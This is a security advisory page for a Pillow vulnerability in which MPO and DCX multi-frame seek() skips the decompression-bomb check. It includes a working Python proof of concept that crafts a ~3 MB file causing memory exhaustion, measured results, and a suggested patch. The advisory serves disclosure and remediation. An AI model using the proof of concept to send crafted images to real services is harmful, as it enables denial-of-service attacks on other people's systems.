GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

Check your stack
GHSA-p8hx-v2p6-rp84medium6.5

Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)

Impact

Pillow's decompression-bomb protection (Image._decompression_bomb_check, gated by Image.MAX_IMAGE_PIXELS) is enforced only on the first frame, inside Image.open(). For multi-frame formats, seek() re-parses the target frame's header and resets self._size. GifImagePlugin and TiffImagePlugin re-run the bomb check on seek(), but MpoImageFile.seek() and DcxImageFile.seek() do not. A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large…

Source excerpt · OSV

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Original source description

Summary

Pillow's decompression-bomb protection (Image._decompression_bomb_check, gated by Image.MAX_IMAGE_PIXELS) is enforced only on the first frame, inside Image.open(). For multi-frame formats, seek() re-parses the target frame's header and resets self._size. GifImagePlugin and TiffImagePlugin re-run the bomb check on seek(), but MpoImageFile.seek() and DcxImageFile.seek() do not. A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).

Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).

Details

Image.open() → _open_core() runs _decompression_bomb_check(im.size) once, on the frame present at open time. Both vulnerable seek() methods re-parse a new frame and set a new self._size without re-checking:

  • PIL/MpoImagePlugin.py, MpoImageFile.seek(): calls JpegImagePlugin.JpegImageFile._open(self) (which sets self._size from the frame's JPEG SOF) and rebuilds self.tile, with no Image._decompression_bomb_check(self.size).
  • PIL/DcxImagePlugin.py, DcxImageFile.seek(): calls PcxImageFile._open(self) (which sets self._size from the page's PCX header), with no check.

Confirmed present in 12.3.0 (latest release) and on main (13.0.0.dev0). Compare GifImagePlugin._seek and TiffImagePlugin, which call _decompression_bomb_check correctly on seek.

PoC

Self-contained; the victim uses default MAX_IMAGE_PIXELS:

import io
from PIL import Image

# attacker builds the file (guard disabled only to CREATE the oversized frame)
Image.MAX_IMAGE_PIXELS = None
small = Image.new("RGB", (8, 8))
big   = Image.new("RGB", (14000, 14000), (120, 60, 30))   # 196,000,000 px > error threshold
buf = io.BytesIO()
small.save(buf, format="MPO", save_all=True, append_images=[big])
data = buf.getvalue()                                      # ~3 MB
Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default

# victim (default limits)
im = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check
im.seek(1)                          # frame 1 (14000x14000) -> NOT re-checked  <-- bug
im.load()                           # decodes the over-limit image, commits memory
print("loaded over-limit frame:", im.size)

Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):

Vector File size Frame 1 Peak RSS
MPO (JPEG) ~3.0 MB 14000×14000 (196 Mpx) ~763 MB
DCX (PCX) ~6.2 MB 14000×14000 (196 Mpx) ~200 MB
Control: same image standalone — 196 Mpx DecompressionBombError (correctly blocked)

The DCX vector (0x3ADE68B1 magic + offset directory + two PCX pages) behaves identically via DcxImageFile.seek(). Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.

Impact

Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. seek() + load() is the normal way to iterate frames (e.g. PIL.ImageSequence.Iterator, thumbnailers, converters, 3D-photo handlers). Because MPO is auto-detected from a JPEG carrying MPF metadata, a file served with a .jpg extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.

Suggested fix

Re-run the check after seek() re-parses a frame, mirroring GIF/TIFF:

# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()
self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])]
Image._decompression_bomb_check(self.size)   # add
self.__frame = frame

# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()
PcxImageFile._open(self)
Image._decompression_bomb_check(self.size)   # add

References